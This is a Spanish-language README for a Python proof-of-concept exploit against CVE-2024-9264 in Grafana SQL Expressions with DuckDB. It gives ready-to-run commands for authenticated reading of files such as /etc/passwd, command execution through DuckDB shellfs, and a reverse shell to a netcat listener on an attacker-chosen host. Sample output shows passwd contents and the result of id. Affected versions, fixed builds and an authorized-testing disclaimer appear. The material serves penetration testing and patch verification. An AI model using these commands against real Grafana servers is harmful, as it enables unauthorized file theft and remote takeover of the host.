
CVE-2024-9264 PoC de LFI/RCE en Grafana SQL Expressions DuckDB
Prueba de concepto en Python para CVE-2024-9264, una vulnerabilidad de Grafana SQL Expressions que puede permitir la inclusión autenticada de archivos locales y la ejecución de comandos cuando duckdb está disponible en el PATH del proceso de Grafana.
Solo para pruebas autorizadas e investigación. No utilices esto contra sistemas que no poseas o para los que no tengas permiso explícito de prueba.
acceso API autenticado de Grafana -> consulta SQL Expressions DuckDB -> lectura de archivo -> ejecución opcional de comandos mediante shellfs
read_blob(). Si se solicita ejecución de comandos, primero se usa /etc/passwd como archivo de validación predeterminado.shellfs de DuckDB y ejecuta un comando a través de una llamada read_csv() respaldada por un pipe./tmp/cve_2024_9264_out e imprime el resultado decodificado.El endpoint vulnerable se puede llamar directamente a través de la API; no se requiere interacción con la interfaz de usuario del dashboard. La autenticación sigue siendo necesaria.



git clone https://github.com/ozcanpng/CVE-2024-9264.git
cd CVE-2024-9264
python3 -m pip install -r requirements.txt
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --file /etc/passwd
Cuando se usa --file solo, el script lee ese archivo directamente e imprime el contenido decodificado en la sección de resultado de lectura de archivo.
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --cmd id
El script primero realiza una lectura de validación predeterminada de /etc/passwd, luego entrega el payload del comando. En la sección de resultados imprime la salida decodificada del comando en lugar de la respuesta JSON sin procesar de Grafana.
Inicia un listener:
rlwrap nc -lvnp 4444
Envía el payload de shell inversa:
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --reverse-shell --lhost 10.10.14.7 --lport 4444
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --dry-run
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --debug
Estas opciones se basan en la CLI actual del script:
-u, --url, --target TARGET
URL objetivo, ej. http://localhost:3000
--username USERNAME Usuario de Grafana. Predeterminado: admin
--password PASSWORD Contraseña de Grafana. Predeterminado: admin
--file FILE Ruta del archivo a leer. Ruta de prueba predeterminada: /etc/passwd
--expected-marker MARKER
Marcador esperado en la respuesta de lectura de archivo. Predeterminado: root:
--cmd CMD Comando a ejecutar a través de la ruta shellfs de DuckDB
--reverse-shell Ejecutar un payload de shell inversa bash
--lhost LHOST Host del listener para --reverse-shell
--lport LPORT Puerto del listener para --reverse-shell
--timeout TIMEOUT Timeout HTTP en segundos. Predeterminado: 20
--verify-tls Verificar certificados TLS. Predeterminado: habilitado
-k, --insecure Deshabilitar verificación de certificados TLS
--dry-run Imprimir metadatos del objetivo y del payload sin enviar solicitudes
--debug Imprimir metadatos de depuración de la solicitud
[STEP 2] File Read Result
--------------------------------------------------------------------
[*] File path : /etc/passwd
[*] HTTP status : 200
[+] File content read successfully.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
grafana:x:472:0::/home/grafana:/usr/sbin/nologin
[STEP 4] Result
--------------------------------------------------------------------
[*] HTTP status : 200
[+] Payload accepted by Grafana.
uid=472(grafana) gid=0(root) groups=0(root)
| Producto | Versión afectada | Acceso requerido | Impacto |
|---|---|---|---|
| Grafana OSS / Enterprise | Grafana 11.0.x, 11.1.x y 11.2.x antes de las versiones de seguridad corregidas | Visor o superior | Inclusión de archivos locales e inyección de comandos cuando DuckDB está presente en el PATH de Grafana |
Grafana señala que la explotación requiere que el binario duckdb esté presente en el PATH del proceso de Grafana; las distribuciones normales de Grafana no instalan DuckDB por defecto.
shellfs en el entorno objetivo.-k o --insecure.11.0.5+security-01, 11.1.6+security-01, 11.2.1+security-01, 11.0.6+security-01, 11.1.7+security-01 y 11.2.2+security-01.ozcanpng - github.com/ozcanpng - ozcanpng.dev